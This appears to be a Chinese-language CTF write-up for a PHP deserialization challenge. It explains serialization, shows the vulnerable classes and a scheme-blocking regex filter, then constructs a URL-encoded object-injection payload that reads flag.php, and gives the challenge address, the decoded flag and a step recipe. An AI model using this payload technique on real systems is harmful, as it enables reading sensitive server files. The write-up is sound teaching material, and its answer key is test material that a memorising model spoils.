CTFer成长记录——CTF之Web专题·初识反序列化
一、题目链接
http://122.114.252.87:1110/index2.php
前置知识:序列化与反序列化
序列化是将变量转换成可保存或传输的字符串,实现函数是:serialize();
反序列化是:将字符串转换成变量,是一个逆过程。实现的函数式:unserialize();
序列化:
上面的结果是对一个对象的打印,后面是序列化后的结果,也就是把它“拉直”。
反序列化:
点击查看代码
$b = unserialize(serialize($a));
var_dump($b);
只要变量相同,序列化和反序列化的样子是一样的。
序列化后的字符串说明:
二、解法步骤
打开网页发现是php源代码,整个代码可分为三个部分:
点击查看代码
``` class Read { public function get_file($value)//获取文件名 { $text = base64_encode(file_get_contents($value));//读取文件内容,然后进行base64加密并返回。 return $text; } }//涉及到读文件的操作,可能是一个敏感信息泄露点 ```点击查看代码
class Show
{
public $source;
public $var;
public $class1;
public function __construct($name='index.php')
{
$this->source = $name;
echo $this->source.' Welcome'."<br>";
}
public function __toString()
{
$content = $this->class1->get_file($this->var);//利用点
echo $content;
return $content;
}
public function _show()//过滤函数
{
if(preg_match('/gopher|http|ftp|https|dict|\.\.|flag|file/i',$this->source)) {
die('hacker');
} else {
highlight_file($this->source);
}
}
public function Change()//过滤函数
{
if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) {
echo "hacker";
}
}
public function __get($key){
$function=$this->$key;
$this->{$key}();
}
}
点击查看代码
if(isset($_GET['sid']))
{
$sid=$_GET['sid'];
$config=unserialize($_GET['config']);
$config->$sid;
}
else
{
$show = new Show('index2.php');
$show->_show(
}
在第一段代码中,在Read类里发现get_file()这个函数,暗示这是一个敏感信息点;在第二段中,在Show类里发现__toString()函数调用了get_file()这个函数,并且打印$content,阅读代码就知道$content就是文件里的
内容。现在的目的就是使得传入的对象,能够获取该文件的内容,那么这个对象一定是Show类的对象,在Show类中:
$content = $this->class1->get_file($this->var);
,这段代码是利用点。get_file()函数只有Read的对象有,因此 $this->class1
一定是一个Read的对象,再看,get_file()中的参数$this->var
,要求Show的对象的var值是一个文件名,那么假设是flag.php,最后var的值为"flag.php";
经过分析,我们把Show类中的var成员赋值为"flag.php",class需要是一个Read的对象。
那么这样操作:
点击查看代码
$s =new Show;
$r = new Read;
$s->class1 = $r;
echo urlencode(serialize($s))
至此,需要传入的对象参数已经构造好了,最后需要将它转化成url编码,防止传入时一些字符丢失。
最后结果为:O%3A4%3A%22Show%22%3A3%3A%7Bs%3A6%3A%22source%22%3Bs%3A9%3A%22index.php%22%3Bs%3A3%3A%22var%22%3
Bs%3A8%3A%22flag.php%22%3Bs%3A6%3A%22class1%22%3BO%3A4%3A%22Read%22%3A0%3A%7B%7D%7D
这个就是要在第三段代码中传入config
的值,他经过反序列化后就是我们构造好的$s
对象,最后要获取文件内容,就需要调用__toString()函数,那么传入的sid
的值为__toString即可。
最后的传参:
点击查看代码
?sid=__toString&config=O%3A4%3A"Show"%3A3%3A%7Bs%3A6%3A"source"%3Bs%3A9%3A"index.php"%3Bs%3A3%3A"var"%3Bs%3A8%3A"flag.php"%3Bs%3A6%3A"class1"%3BO%3A4%3A"Read"%3A0%3A%7B%7D%7D
获取到PD9waHAKJGZsYWcgPSAiZmxhZ3syNTZkN2ZkNi1kYjUxLTQ0YjktOGIyZC04OGUxN2IwODg2ZTl9IjsKPz4=
Base64加密的值,解码得到:
flag = "flag{256d7fd6-db51-44b9-8b2d-88e17b0886e9}";
三、总结
序列化与反序列化就是为了更方便的传输数据。反序列化漏洞也叫对象漏洞,当进行反序列化时,就会自动的调用一些函数,如果传入函数的参数(特指对象的属性)可以被用户控制的话,用户输入一些恶意代码到函数中,从而导致反序列化漏洞。
做题步骤:
a>将源代码复制到本地
b>注释与属性无关的内容
c>根据需要给属性赋值
d>生成序列化数据,通常要urlencode(url编码)